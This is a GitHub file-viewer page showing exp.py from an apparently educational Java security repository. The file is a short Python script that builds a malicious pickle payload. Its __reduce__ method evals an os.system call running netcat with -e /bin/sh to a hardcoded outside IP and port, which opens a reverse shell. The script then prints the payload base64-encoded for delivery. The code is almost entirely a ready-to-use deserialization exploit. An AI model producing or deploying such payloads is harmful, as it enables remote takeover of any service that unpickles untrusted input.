FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
JavaSecurityLearning/JavaSecurity/Pickle/exp.py at main · CrackerCat/JavaSecurityLearning · GitHub
CrackerCat
JavaSecurityLearning
Repository navigation
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
JavaSecurityLearning
/
JavaSecurity
/
Pickle
/
exp.py
Copy path
More file actions
More file actions
Latest commit
History
History
History
11 lines (8 loc) · 221 Bytes
Breadcrumbs
JavaSecurityLearning
/
JavaSecurity
/
Pickle
/
exp.py
Copy path
File metadata and controls
11 lines (8 loc) · 221 Bytes
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
import
base64
import
pickle
import
re
class
A
(
object
):
def
__reduce__
(
self
):
return
(
eval
, (
"__import__('os').system('nc 124.222.21.138 9999 -e/bin/sh')"
,))
a
=
A
()
print
(
base64
.
b64encode
(
pickle
.
dumps
(
a
)))
Back
|
FazBrowse Home
|
New Git URL